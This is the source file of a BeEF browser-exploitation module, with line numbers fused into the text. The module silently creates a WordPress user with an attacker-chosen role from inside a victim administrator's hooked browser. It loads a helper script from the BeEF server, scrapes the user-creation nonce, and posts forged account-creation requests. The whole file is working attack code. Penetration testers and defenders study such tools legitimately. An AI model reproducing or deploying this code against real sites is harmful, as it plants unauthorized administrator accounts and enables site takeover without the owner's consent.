Path: blob/master/modules/misc/wordpress/add_user/command.js
1154 views
/*1Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com2See the file 'doc/COPYING' for copying permission34This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore56Original Author: Daniel Reece (@HBRN8).7Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/8*/91011beef.execute(function() {12beef_command_url = '<%= @command_url %>';13beef_command_id = <%= @command_id %>;1415// Adds wp.js to the DOM so we can use some functions here16if (typeof get_nonce !== 'function') {17var wp_script = document.createElement('script');1819wp_script.setAttribute('type', 'text/javascript');20wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');21var theparent = document.getElementsByTagName('head')[0];22theparent.insertBefore(wp_script, theparent.firstChild);23}2425var create_user_path = '<%= @wp_path %>wp-admin/user-new.php';2627/*28When there is an error (such as incorrect email, username already existing etc),29the response will be a 200 with an ERROR in the body3031When successfully created, it's a 302, however the redirection is followed by the web browser32and the 200 is served directly to the AJAX response here and we don't get the 302,33so we check for the 'New user created.' pattern in the page34*/35function check_response_for_error(xhr) {36if (xhr.status == 200) {37responseText = xhr.responseText;3839if ((matches = /<strong>ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) {40log('User Creation failed: ' + matches[1], 'error');41}42else if (/New user created/.test(responseText)) {43log('User successfully created!', 'success');44}45}46}4748function create_user(nonce) {49post(50create_user_path,51{52action: 'createuser',53'_wpnonce_create-user': nonce,54'_wp_http_referer': create_user_path,55user_login: '<%= @username %>',56email: '<%= @email %>',57first_name: '',58last_name: '',59url: '',60pass1: '<%= @password %>',61pass2: '<%= @password %>',62pw_weak: 'on', // Just in case63role: '<%= @role %>',64createuser: 'Add+New+User'65},66function(xhr) { check_response_for_error(xhr) }67);68}6970// Timeout needed for the wp.js to be loaded first71setTimeout(72function() {73get_nonce(74create_user_path,75'_wpnonce_create-user',76function(nonce) { create_user(nonce) }77)78},7930080);8182});83848586